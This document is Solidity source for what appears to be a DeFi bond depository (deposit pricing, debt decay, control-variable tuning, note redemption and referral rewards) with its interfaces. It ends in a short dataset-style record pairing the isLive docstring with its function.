Metadata[] public metadata; // extraneous market data
mapping(uint256 => Adjustment) public adjustments; // control variable changes
// Queries
mapping(address => uint256[]) public marketsForQuote; // market IDs for quote token
/* ======== CONSTRUCTOR ======== */
constructor(
IFloorAuthority _authority,
IERC20 _floor,
IgFLOOR _gfloor,
IStaking _staking,
ITreasury _treasury
) NoteKeeper(_authority, _floor, _gfloor, _staking, _treasury) {
// save gas for users by bulk approving stake() transactions
_floor.approve(address(_staking), 1e45);
}
/* ======== DEPOSIT ======== */
/**
* @notice deposit quote tokens in exchange for a bond from a specified market
* @param _id the ID of the market
* @param _amount the amount of quote token to spend
* @param _maxPrice the maximum price at which to buy
* @param _user the recipient of the payout
* @param _referral the front end operator address
* @return payout_ the amount of gFLOOR due
* @return expiry_ the timestamp at which payout is redeemable
* @return index_ the user index of the Note (used to redeem or query information)
*/
function deposit(
uint256 _id,
uint256 _amount,
uint256 _maxPrice,
address _user,
address _referral
) external override returns (
uint256 payout_,
uint256 expiry_,
uint256 index_
) {
Market storage market = markets[_id];
Terms memory term = terms[_id];
uint48 currentTime = uint48(block.timestamp);
// Markets end at a defined timestamp
// |-------------------------------------| t
require(currentTime < term.conclusion, "Depository: market concluded");
// Debt and the control variable decay over time
_decay(_id, currentTime);
// Users input a maximum price, which protects them from price changes after
// entering the mempool. max price is a slippage mitigation measure
uint256 price = _marketPrice(_id);
require(price <= _maxPrice, "Depository: more than max price");
/**
* payout for the deposit = amount / price
*
* where
* payout = FLOOR out
* amount = quote tokens in
* price = quote tokens : floor (i.e. 42069 DAI : FLOOR)
*
* 1e18 = FLOOR decimals (9) + price decimals (9)
*/
payout_ = (_amount * 1e18 / price) / (10 ** metadata[_id].quoteDecimals);
// markets have a max payout amount, capping size because deposits
// do not experience slippage. max payout is recalculated upon tuning
require(payout_ <= market.maxPayout, "Depository: max size exceeded");
/*
* each market is initialized with a capacity
*
* this is either the number of FLOOR that the market can sell
* (if capacity in quote is false),
*
* or the number of quote tokens that the market can buy
* (if capacity in quote is true)
*/
market.capacity -= market.capacityInQuote
? _amount
: payout_;
/**
* bonds mature with a cliff at a set timestamp
* prior to the expiry timestamp, no payout tokens are accessible to the user
* after the expiry timestamp, the entire payout can be redeemed
*
* there are two types of bonds: fixed-term and fixed-expiration
*
* fixed-term bonds mature in a set amount of time from deposit
* i.e. term = 1 week. when alice deposits on day 1, her bond
* expires on day 8. when bob deposits on day 2, his bond expires day 9.
*
* fixed-expiration bonds mature at a set timestamp
* i.e. expiration = day 10. when alice deposits on day 1, her term
* is 9 days. when bob deposits on day 2, his term is 8 days.
*/
expiry_ = term.fixedTerm
? term.vesting + currentTime
: term.vesting;
// markets keep track of how many quote tokens have been
// purchased, and how much FLOOR has been sold
market.purchased += _amount;
market.sold += uint64(payout_);
// incrementing total debt raises the price of the next bond
market.totalDebt += uint64(payout_);
emit Bond(_id, _amount, price, payout_);
/**
* user data is stored as Notes. these are isolated array entries
* storing the amount due, the time created, the time when payout
* is redeemable, the time when payout was redeemed, and the ID
* of the market deposited into
*/
index_ = addNote(
_user,
payout_,
uint48(expiry_),
uint48(_id),
_referral
);
// transfer payment to treasury
market.quoteToken.safeTransferFrom(msg.sender, address(treasury), _amount);
// if max debt is breached, the market is closed
// this a circuit breaker
if (term.maxDebt < market.totalDebt) {
market.capacity = 0;
emit CloseMarket(_id);
} else {
// if market will continue, the control variable is tuned to hit targets on time
_tune(_id, currentTime);
}
}
/**
* @notice decay debt, and adjust control variable if there is an active change
* @param _id ID of market
* @param _time uint48 timestamp (saves gas when passed in)
*/
function _decay(uint256 _id, uint48 _time) internal {
// Debt decay
/*
* Debt is a time-decayed sum of tokens spent in a market
* Debt is added when deposits occur and removed over time
* |
* | debt falls with
* | / \ inactivity / \
* | / \ /\/ \
* | \ / \
* | \ /\/ \
* | \ / and rises \
* | with deposits
* |
* |------------------------------------| t
*/
markets[_id].totalDebt -= debtDecay(_id);
metadata[_id].lastDecay = _time;
// Control variable decay
// The bond control variable is continually tuned. When it is lowered (which
// lowers the market price), the change is carried out smoothly over time.
if (adjustments[_id].active) {
Adjustment storage adjustment = adjustments[_id];
(uint64 adjustBy, uint48 secondsSince, bool stillActive) = _controlDecay(_id);
terms[_id].controlVariable -= adjustBy;
if (stillActive) {
adjustment.change -= adjustBy;
adjustment.timeToAdjusted -= secondsSince;
adjustment.lastAdjustment = _time;
} else {
adjustment.active = false;
}
}
}
/**
* @notice auto-adjust control variable to hit capacity/spend target
* @param _id ID of market
* @param _time uint48 timestamp (saves gas when passed in)
*/
function _tune(uint256 _id, uint48 _time) internal {
Metadata memory meta = metadata[_id];
if (_time >= meta.lastTune + meta.tuneInterval) {
Market memory market = markets[_id];
// compute seconds remaining until market will conclude
uint256 timeRemaining = terms[_id].conclusion - _time;
uint256 price = _marketPrice(_id);
// standardize capacity into an base token amount
// floor decimals (9) + price decimals (9)
uint256 capacity = market.capacityInQuote
? (market.capacity * 1e18 / price) / (10 ** meta.quoteDecimals)
: market.capacity;
/**
* calculate the correct payout to complete on time assuming each bond
* will be max size in the desired deposit interval for the remaining time
*
* i.e. market has 10 days remaining. deposit interval is 1 day. capacity
* is 10,000 FLOOR. max payout would be 1,000 FLOOR (10,000 * 1 / 10).
*/
markets[_id].maxPayout = uint64(capacity * meta.depositInterval / timeRemaining);
// calculate the ideal total debt to satisfy capacity in the remaining time
uint256 targetDebt = capacity * meta.length / timeRemaining;
// derive a new control variable from the target debt and current supply
uint64 newControlVariable = uint64(price * treasury.baseSupply() / targetDebt);
emit Tuned(_id, terms[_id].controlVariable, newControlVariable);
if (newControlVariable >= terms[_id].controlVariable) {
terms[_id].controlVariable = newControlVariable;
} else {
// if decrease, control variable change will be carried out over the tune interval
// this is because price will be lowered
uint64 change = terms[_id].controlVariable - newControlVariable;
adjustments[_id] = Adjustment(change, _time, meta.tuneInterval, true);
}
metadata[_id].lastTune = _time;
}
}
/* ======== CREATE ======== */
/**
* @notice creates a new market type
* @dev current price should be in 9 decimals.
* @param _quoteToken token used to deposit
* @param _market [capacity (in FLOOR or quote), initial price / FLOOR (9 decimals), debt buffer (3 decimals)]
* @param _booleans [capacity in quote, fixed term]
* @param _terms [(seconds) vesting length (if fixed term) or vested timestamp, conclusion timestamp]
* @param _intervals [deposit interval (seconds), tune interval (seconds)]
* @return id_ ID of new bond market
*/
function create(
IERC20 _quoteToken,
uint256[3] memory _market,
bool[2] memory _booleans,
uint256[2] memory _terms,
uint32[2] memory _intervals
) external override onlyPolicy returns (uint256 id_) {
// the length of the program, in seconds
uint256 secondsToConclusion = _terms[1] - block.timestamp;
// the decimal count of the quote token
uint256 decimals = IERC20Metadata(address(_quoteToken)).decimals();
/*
* initial target debt is equal to capacity (this is the amount of debt
* that will decay over in the length of the program if price remains the same).
* it is converted into base token terms if passed in in quote token terms.
*
* 1e18 = floor decimals (9) + initial price decimals (9)
*/
uint64 targetDebt = uint64(_booleans[0]
? (_market[0] * 1e18 / _market[1]) / 10 ** decimals
: _market[0]
);
/*
* max payout is the amount of capacity that should be utilized in a deposit
* interval. for example, if capacity is 1,000 FLOOR, there are 10 days to conclusion,
* and the preferred deposit interval is 1 day, max payout would be 100 FLOOR.
*/
uint64 maxPayout = uint64(targetDebt * _intervals[0] / secondsToConclusion);
/*
* max debt serves as a circuit breaker for the market. let's say the quote
* token is a stablecoin, and that stablecoin depegs. without max debt, the
* market would continue to buy until it runs out of capacity. this is
* configurable with a 3 decimal buffer (1000 = 1% above initial price).
* note that its likely advisable to keep this buffer wide.
* note that the buffer is above 100%. i.e. 10% buffer = initial debt * 1.1
*/
uint256 maxDebt = targetDebt + (targetDebt * _market[2] / 1e5); // 1e5 = 100,000. 10,000 / 100,000 = 10%.
/*
* the control variable is set so that initial price equals the desired
* initial price. the control variable is the ultimate determinant of price,
* so we compute this last.
*
* price = control variable * debt ratio
* debt ratio = total debt / supply
* therefore, control variable = price / debt ratio
*/
uint256 controlVariable = _market[1] * treasury.baseSupply() / targetDebt;
// depositing into, or getting info for, the created market uses this ID
id_ = markets.length;
markets.push(Market({
quoteToken: _quoteToken,
capacityInQuote: _booleans[0],
capacity: _market[0],
totalDebt: targetDebt,
maxPayout: maxPayout,
purchased: 0,
sold: 0
}));
terms.push(Terms({
fixedTerm: _booleans[1],
controlVariable: uint64(controlVariable),
vesting: uint48(_terms[0]),
conclusion: uint48(_terms[1]),
maxDebt: uint64(maxDebt)
}));
metadata.push(Metadata({
lastTune: uint48(block.timestamp),
lastDecay: uint48(block.timestamp),
length: uint48(secondsToConclusion),
depositInterval: _intervals[0],
tuneInterval: _intervals[1],
quoteDecimals: uint8(decimals)
}));
marketsForQuote[address(_quoteToken)].push(id_);
emit CreateMarket(id_, address(_quoteToken), _market[1], _market[0], _booleans[0], _terms[1], _terms[0]);
}
/**
* @notice disable existing market
* @param _id ID of market to close
*/
function close(uint256 _id) external override onlyPolicy {
terms[_id].conclusion = uint48(block.timestamp);
markets[_id].capacity = 0;
emit CloseMarket(_id);
}
/* ======== EXTERNAL VIEW ======== */
/**
* @notice calculate current market price of quote token in base token
* @dev accounts for debt and control variable decay since last deposit (vs _marketPrice())
* @param _id ID of market
* @return price for market in FLOOR decimals
*
* price is derived from the equation
*
* p = cv * dr
*
* where
* p = price
* cv = control variable
* dr = debt ratio
*
* dr = d / s
*
* where
* d = debt
* s = supply of token at market creation
*
* d -= ( d * (dt / l) )
*
* where
* dt = change in time
* l = length of program
*/
function marketPrice(uint256 _id) public view override returns (uint256) {
return
currentControlVariable(_id)
* debtRatio(_id)
/ (10 ** metadata[_id].quoteDecimals);
}
/**
* @notice payout due for amount of quote tokens
* @dev accounts for debt and control variable decay so it is up to date
* @param _amount amount of quote tokens to spend
* @param _id ID of market
* @return amount of FLOOR to be paid in FLOOR decimals
*
* @dev 1e18 = floor decimals (9) + market price decimals (9)
*/
function payoutFor(uint256 _amount, uint256 _id) external view override returns (uint256) {
Metadata memory meta = metadata[_id];
return
_amount
* 1e18
/ marketPrice(_id)
/ 10 ** meta.quoteDecimals;
}
/**
* @notice calculate current ratio of debt to supply
* @dev uses current debt, which accounts for debt decay since last deposit (vs _debtRatio())
* @param _id ID of market
* @return debt ratio for market in quote decimals
*/
function debtRatio(uint256 _id) public view override returns (uint256) {
return
currentDebt(_id)
* (10 ** metadata[_id].quoteDecimals)
/ treasury.baseSupply();
}
/**
* @notice calculate debt factoring in decay
* @dev accounts for debt decay since last deposit
* @param _id ID of market
* @return current debt for market in FLOOR decimals
*/
function currentDebt(uint256 _id) public view override returns (uint256) {
return markets[_id].totalDebt - debtDecay(_id);
}
/**
* @notice amount of debt to decay from total debt for market ID
* @param _id ID of market
* @return amount of debt to decay
*/
function debtDecay(uint256 _id) public view override returns (uint64) {
Metadata memory meta = metadata[_id];
uint256 secondsSince = block.timestamp - meta.lastDecay;
return uint64(markets[_id].totalDebt * secondsSince / meta.length);
}
/**
* @notice up to date control variable
* @dev accounts for control variable adjustment
* @param _id ID of market
* @return control variable for market in FLOOR decimals
*/
function currentControlVariable(uint256 _id) public view returns (uint256) {
(uint64 decay,,) = _controlDecay(_id);
return terms[_id].controlVariable - decay;
}
/**
* @notice is a given market accepting deposits
* @param _id ID of market
*/
function isLive(uint256 _id) public view override returns (bool) {
return (markets[_id].capacity != 0 && terms[_id].conclusion > block.timestamp);
}
/**
* @notice returns an array of all active market IDs
*/
function liveMarkets() external view override returns (uint256[] memory) {
uint256 num;
for (uint256 i = 0; i < markets.length; i++) {
if (isLive(i)) num++;
}
uint256[] memory ids = new uint256[](num);
uint256 nonce;
for (uint256 i = 0; i < markets.length; i++) {
if (isLive(i)) {
ids[nonce] = i;
nonce++;
}
}
return ids;
}
/**
* @notice returns an array of all active market IDs for a given quote token
* @param _token quote token to check for
*/
function liveMarketsFor(address _token) external view override returns (uint256[] memory) {
uint256[] memory mkts = marketsForQuote[_token];
uint256 num;
for (uint256 i = 0; i < mkts.length; i++) {
if (isLive(mkts[i])) num++;
}
uint256[] memory ids = new uint256[](num);
uint256 nonce;
for (uint256 i = 0; i < mkts.length; i++) {
if (isLive(mkts[i])) {
ids[nonce] = mkts[i];
nonce++;
}
}
return ids;
}
/* ======== INTERNAL VIEW ======== */
/**
* @notice calculate current market price of quote token in base token
* @dev see marketPrice() for explanation of price computation
* @dev uses info from storage because data has been updated before call (vs marketPrice())
* @param _id market ID
* @return price for market in FLOOR decimals
*/
function _marketPrice(uint256 _id) internal view returns (uint256) {
return
terms[_id].controlVariable
* _debtRatio(_id)
/ (10 ** metadata[_id].quoteDecimals);
}
/**
* @notice calculate debt factoring in decay
* @dev uses info from storage because data has been updated before call (vs debtRatio())
* @param _id market ID
* @return current debt for market in quote decimals
*/
function _debtRatio(uint256 _id) internal view returns (uint256) {
return
markets[_id].totalDebt
* (10 ** metadata[_id].quoteDecimals)
/ treasury.baseSupply();
}
/**
* @notice amount to decay control variable by
* @param _id ID of market
* @return decay_ change in control variable
* @return secondsSince_ seconds since last change in control variable
* @return active_ whether or not change remains active
*/
function _controlDecay(uint256 _id) internal view returns (uint64 decay_, uint48 secondsSince_, bool active_) {
Adjustment memory info = adjustments[_id];
if (!info.active) return (0, 0, false);
secondsSince_ = uint48(block.timestamp) - info.lastAdjustment;
active_ = secondsSince_ < info.timeToAdjusted;
decay_ = active_
? info.change * secondsSince_ / info.timeToAdjusted
: info.change;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.10;
import "../types/FrontEndRewarder.sol";
import "../interfaces/IgFLOOR.sol";
import "../interfaces/IStaking.sol";
import "../interfaces/ITreasury.sol";
import "../interfaces/INoteKeeper.sol";
abstract contract NoteKeeper is INoteKeeper, FrontEndRewarder {
event CreateNote(address user, uint48 bondId, uint256 index, uint256 payout, uint48 expiry);
event PushNote(address oldUser, address newUser, uint256 oldIndex, uint256 newIndex);
event RedeemNote(address user, uint256[] indexes);
mapping(address => Note[]) public notes; // user deposit data
mapping(address => mapping(uint256 => address)) private noteTransfers; // change note ownership
IgFLOOR internal immutable gFLOOR;
IStaking internal immutable staking;
ITreasury internal treasury;
constructor (
IFloorAuthority _authority,
IERC20 _floor,
IgFLOOR _gfloor,
IStaking _staking,
ITreasury _treasury
) FrontEndRewarder(_authority, _floor) {
gFLOOR = _gfloor;
staking = _staking;
treasury = _treasury;
}
// if treasury address changes on authority, update it
function updateTreasury() external {
require(
msg.sender == authority.governor() ||
msg.sender == authority.guardian() ||
msg.sender == authority.policy(),
"Only authorized"
);
treasury = ITreasury(authority.vault());
}
/* ========== ADD ========== */
/**
* @notice adds a new Note for a user, stores the front end & DAO rewards, and mints & stakes payout & rewards
* @param _user the user that owns the Note
* @param _payout the amount of FLOOR due to the user
* @param _expiry the timestamp when the Note is redeemable
* @param _marketID the ID of the market deposited into
* @return index_ the index of the Note in the user's array
*/
function addNote(
address _user,
uint256 _payout,
uint48 _expiry,
uint48 _marketID,
address _referral
) internal returns (uint256 index_) {
// the index of the note is the next in the user's array
index_ = notes[_user].length;
// the new note is pushed to the user's array
notes[_user].push(
Note({
payout: gFLOOR.balanceTo(_payout),
created: uint48(block.timestamp),
matured: _expiry,
redeemed: 0,
marketID: _marketID
})
);
emit CreateNote(_user, _marketID, index_, gFLOOR.balanceTo(_payout), _expiry);
// front end operators can earn rewards by referring users
uint256 rewards = _giveRewards(_payout, _referral);
// mint and stake payout
treasury.mint(address(this), _payout + rewards);
// note that only the payout gets staked (front end rewards are in FLOOR)
staking.stake(address(this), _payout, false, true);
}
/* ========== REDEEM ========== */
/**
* @notice redeem notes for user
* @param _user the user to redeem for
* @param _indexes the note indexes to redeem
* @param _sendgFLOOR send payout as gFLOOR or sFLOOR
* @return payout_ sum of payout sent, in gFLOOR
*/
function redeem(address _user, uint256[] memory _indexes, bool _sendgFLOOR) external override returns (uint256 payout_) {
uint48 time = uint48(block.timestamp);
for (uint256 i = 0; i < _indexes.length; i++) {
(uint256 pay, bool matured) = pendingFor(_user, _indexes[i]);
require(matured, "Depository: note not matured");
if (matured) {
notes[_user][_indexes[i]].redeemed = time; // mark as redeemed
payout_ += pay;
}
}
if (_sendgFLOOR) {
gFLOOR.transfer(_user, payout_); // send payout as gFLOOR
} else {
staking.unwrap(_user, payout_); // unwrap and send payout as sFLOOR
}
emit RedeemNote(_user, _indexes);
}
/* ========== TRANSFER ========== */
/**
* @notice approve an address to transfer a note
* @param _to address to approve note transfer for
* @param _index index of note to approve transfer for
*/
function pushNote(address _to, uint256 _index) external override {
require(notes[msg.sender][_index].created != 0, "Depository: note not found");
noteTransfers[msg.sender][_index] = _to;
}
/**
* @notice transfer a note that has been approved by an address
* @param _from the address that approved the note transfer
* @param _index the index of the note to transfer (in the sender's array)
*/
function pullNote(address _from, uint256 _index) external override returns (uint256 newIndex_) {
require(noteTransfers[_from][_index] == msg.sender, "Depository: transfer not found");
require(notes[_from][_index].redeemed == 0, "Depository: note redeemed");
newIndex_ = notes[msg.sender].length;
notes[msg.sender].push(notes[_from][_index]);
delete notes[_from][_index];
emit PushNote(_from, msg.sender, _index, newIndex_);
}
/* ========== VIEW ========== */
// Note info
/**
* @notice all pending notes for user
* @param _user the user to query notes for
* @return the pending notes for the user
*/
function indexesFor(address _user) public view override returns (uint256[] memory) {
Note[] memory info = notes[_user];
uint256 length;
for (uint256 i = 0; i < info.length; i++) {
if (info[i].redeemed == 0 && info[i].payout != 0) length++;
}
uint256[] memory indexes = new uint256[](length);
uint256 position;
for (uint256 i = 0; i < info.length; i++) {
if (info[i].redeemed == 0 && info[i].payout != 0) {
indexes[position] = i;
position++;
}
}
return indexes;
}
/**
* @notice calculate amount available for claim for a single note
* @param _user the user that the note belongs to
* @param _index the index of the note in the user's array
* @return payout_ the payout due, in gFLOOR
* @return matured_ if the payout can be redeemed
*/
function pendingFor(address _user, uint256 _index) public view override returns (uint256 payout_, bool matured_) {
Note memory note = notes[_user][_index];
payout_ = note.payout;
matured_ = note.redeemed == 0 && note.matured <= block.timestamp && note.payout != 0;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.7.5;
import {IERC20} from "../interfaces/IERC20.sol";
/// @notice Safe IERC20 and ETH transfer library that safely handles missing return values.
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v3-periphery/blob/main/contracts/libraries/TransferHelper.sol)
/// Taken from Solmate
library SafeERC20 {
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(
abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "TRANSFER_FROM_FAILED");
}
function safeTransfer(
IERC20 token,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(
abi.encodeWithSelector(IERC20.transfer.selector, to, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "TRANSFER_FAILED");
}
function safeApprove(
IERC20 token,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = address(token).call(
abi.encodeWithSelector(IERC20.approve.selector, to, amount)
);
require(success && (data.length == 0 || abi.decode(data, (bool))), "APPROVE_FAILED");
}
function safeTransferETH(address to, uint256 amount) internal {
(bool success, ) = to.call{value: amount}(new bytes(0));
require(success, "ETH_TRANSFER_FAILED");
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.7.5;
import "./IERC20.sol";
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity >=0.7.5;
import "./IERC20.sol";
interface IBondDepository {
// Info about each type of market
struct Market {
uint256 capacity; // capacity remaining
IERC20 quoteToken; // token to accept as payment
bool capacityInQuote; // capacity limit is in payment token (true) or in FLOOR (false, default)
uint64 totalDebt; // total debt from market
uint64 maxPayout; // max tokens in/out (determined by capacityInQuote false/true, respectively)
uint64 sold; // base tokens out
uint256 purchased; // quote tokens in
}
// Info for creating new markets
struct Terms {
bool fixedTerm; // fixed term or fixed expiration
uint64 controlVariable; // scaling variable for price
uint48 vesting; // length of time from deposit to maturity if fixed-term
uint48 conclusion; // timestamp when market no longer offered (doubles as time when market matures if fixed-expiry)
uint64 maxDebt; // 9 decimal debt maximum in FLOOR
}
// Additional info about market.
struct Metadata {
uint48 lastTune; // last timestamp when control variable was tuned
uint48 lastDecay; // last timestamp when market was created and debt was decayed
uint48 length; // time from creation to conclusion. used as speed to decay debt.
uint48 depositInterval; // target frequency of deposits
uint48 tuneInterval; // frequency of tuning
uint8 quoteDecimals; // decimals of quote token
}
// Control variable adjustment data
struct Adjustment {
uint64 change;
uint48 lastAdjustment;
uint48 timeToAdjusted;
bool active;
}
/**
* @notice deposit market
* @param _bid uint256
* @param _amount uint256
* @param _maxPrice uint256
* @param _user address
* @param _referral address
* @return payout_ uint256
* @return expiry_ uint256
* @return index_ uint256
*/
function deposit(
uint256 _bid,
uint256 _amount,
uint256 _maxPrice,
address _user,
address _referral
) external returns (
uint256 payout_,
uint256 expiry_,
uint256 index_
);
function create (
IERC20 _quoteToken, // token used to deposit
uint256[3] memory _market, // [capacity, initial price]
bool[2] memory _booleans, // [capacity in quote, fixed term]
uint256[2] memory _terms, // [vesting, conclusion]
uint32[2] memory _intervals // [deposit interval, tune interval]
) external returns (uint256 id_);
function close(uint256 _id) external;
function isLive(uint256 _bid) external view returns (bool);
function liveMarkets() external view returns (uint256[] memory);
function liveMarketsFor(address _quoteToken) external view returns (uint256[] memory);
function payoutFor(uint256 _amount, uint256 _bid) external view returns (uint256);
function marketPrice(uint256 _bid) external view returns (uint256);
function currentDebt(uint256 _bid) external view returns (uint256);
function debtRatio(uint256 _bid) external view returns (uint256);
function debtDecay(uint256 _bid) external view returns (uint64);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.10;
import "../types/FloorAccessControlled.sol";
import "../interfaces/IERC20.sol";
abstract contract FrontEndRewarder is FloorAccessControlled {
/* ========= STATE VARIABLES ========== */
uint256 public daoReward; // % reward for dao (3 decimals: 100 = 1%)
uint256 public refReward; // % reward for referrer (3 decimals: 100 = 1%)
mapping(address => uint256) public rewards; // front end operator rewards
mapping(address => bool) public whitelisted; // whitelisted status for operators
IERC20 internal immutable floor; // reward token
constructor(
IFloorAuthority _authority,
IERC20 _floor
) FloorAccessControlled(_authority) {
floor = _floor;
}
/* ========= EXTERNAL FUNCTIONS ========== */
// pay reward to front end operator
function getReward() external {
uint256 reward = rewards[msg.sender];
rewards[msg.sender] = 0;
floor.transfer(msg.sender, reward);
}
/* ========= INTERNAL ========== */
/**
* @notice add new market payout to user data
*/
function _giveRewards(
uint256 _payout,
address _referral
) internal returns (uint256) {
// first we calculate rewards paid to the DAO and to the front end operator (referrer)
uint256 toDAO = _payout * daoReward / 1e4;
uint256 toRef = _payout * refReward / 1e4;
// and store them in our rewards mapping
if (whitelisted[_referral]) {
rewards[_referral] += toRef;
rewards[authority.guardian()] += toDAO;
} else { // the DAO receives both rewards if referrer is not whitelisted
rewards[authority.guardian()] += toDAO + toRef;
}
return toDAO + toRef;
}
/**
* @notice set rewards for front end operators and DAO
*/
function setRewards(uint256 _toFrontEnd, uint256 _toDAO) external onlyGovernor {
refReward = _toFrontEnd;
daoReward = _toDAO;
}
/**
* @notice add or remove addresses from the reward whitelist
*/
function whitelist(address _operator) external onlyPolicy {
whitelisted[_operator] = !whitelisted[_operator];
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.7.5;
import "./IERC20.sol";
interface IgFLOOR is IERC20 {
function mint(address _to, uint256 _amount) external;
function burn(address _from, uint256 _amount) external;
function index() external view returns (uint256);
function balanceFrom(uint256 _amount) external view returns (uint256);
function balanceTo(uint256 _amount) external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.7.5;
interface IStaking {
function stake(
address _to,
uint256 _amount,
bool _rebasing,
bool _claim
) external returns (uint256);
function claim(address _recipient, bool _rebasing) external returns (uint256);
function forfeit() external returns (uint256);
function toggleLock() external;
function unstake(
address _to,
uint256 _amount,
bool _trigger,
bool _rebasing
) external returns (uint256);
function wrap(address _to, uint256 _amount) external returns (uint256 gBalance_);
function unwrap(address _to, uint256 _amount) external returns (uint256 sBalance_);
function rebase() external;
function index() external view returns (uint256);
function contractBalance() external view returns (uint256);
function totalStaked() external view returns (uint256);
function supplyInWarmup() external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.7.5;
interface ITreasury {
function bondCalculator(address _address) external view returns (address);
function deposit(uint256 _amount, address _token, uint256 _profit) external returns (uint256);
function withdraw(uint256 _amount, address _token) external;
function depositERC721(address _token, uint256 _tokenId) external;
function withdrawERC721(address _token, uint256 _tokenId) external;
function tokenValue(address _token, uint256 _amount) external view returns (uint256 value_);
function mint(address _recipient, uint256 _amount) external;
function manage(address _token, uint256 _amount) external;
function allocatorManage(address _token, uint256 _amount) external;
function claimNFTXRewards(address _liquidityStaking, uint256 _vaultId, address _rewardToken) external;
function incurDebt(uint256 amount_, address token_) external;
function repayDebtWithReserve(uint256 amount_, address token_) external;
function excessReserves() external view returns (uint256);
function riskOffValuation(address _token) external view returns (uint256);
function baseSupply() external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.7.5;
interface INoteKeeper {
// Info for market note
struct Note {
uint256 payout; // gFLOOR remaining to be paid
uint48 created; // time market was created
uint48 matured; // timestamp when market is matured
uint48 redeemed; // time market was redeemed
uint48 marketID; // market ID of deposit. uint48 to avoid adding a slot.
}
function redeem(address _user, uint256[] memory _indexes, bool _sendgFLOOR) external returns (uint256);
function pushNote(address to, uint256 index) external;
function pullNote(address from, uint256 index) external returns (uint256 newIndex_);
function indexesFor(address _user) external view returns (uint256[] memory);
function pendingFor(address _user, uint256 _index) external view returns (uint256 payout_, bool matured_);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.7.5;
import "../interfaces/IFloorAuthority.sol";
abstract contract FloorAccessControlled {
/* ========== EVENTS ========== */
event AuthorityUpdated(IFloorAuthority indexed authority);
string UNAUTHORIZED = "UNAUTHORIZED"; // save gas
/* ========== STATE VARIABLES ========== */
IFloorAuthority public authority;
/* ========== Constructor ========== */
constructor(IFloorAuthority _authority) {
authority = _authority;
emit AuthorityUpdated(_authority);
}
/* ========== MODIFIERS ========== */
modifier onlyGovernor() {
require(msg.sender == authority.governor(), UNAUTHORIZED);
_;
}
modifier onlyGuardian() {
require(msg.sender == authority.guardian(), UNAUTHORIZED);
_;
}
modifier onlyPolicy() {
require(msg.sender == authority.policy(), UNAUTHORIZED);
_;
}
modifier onlyVault() {
require(msg.sender == authority.vault(), UNAUTHORIZED);
_;
}
/* ========== GOV ONLY ========== */
function setAuthority(IFloorAuthority _newAuthority) external onlyGovernor {
authority = _newAuthority;
emit AuthorityUpdated(_newAuthority);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.7.5;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity >=0.7.5;
interface IFloorAuthority {
/* ========== EVENTS ========== */
event GovernorPushed(address indexed from, address indexed to, bool _effectiveImmediately);
event GuardianPushed(address indexed from, address indexed to, bool _effectiveImmediately);
event PolicyPushed(address indexed from, address indexed to, bool _effectiveImmediately);
event VaultPushed(address indexed from, address indexed to, bool _effectiveImmediately);
event GovernorPulled(address indexed from, address indexed to);
event GuardianPulled(address indexed from, address indexed to);
event PolicyPulled(address indexed from, address indexed to);
event VaultPulled(address indexed from, address indexed to);
/* ========== VIEW ========== */
function governor() external view returns (address);
function guardian() external view returns (address);
function policy() external view returns (address);
function vault() external view returns (address);
}
|
* @notice is a given market accepting deposits @param _id ID of market/
|
function isLive(uint256 _id) public view override returns (bool) {
return (markets[_id].capacity != 0 && terms[_id].conclusion > block.timestamp);
}
| 10,010,481 |
[
1,
291,
279,
864,
13667,
25806,
443,
917,
1282,
225,
389,
350,
1850,
1599,
434,
13667,
19,
2,
0,
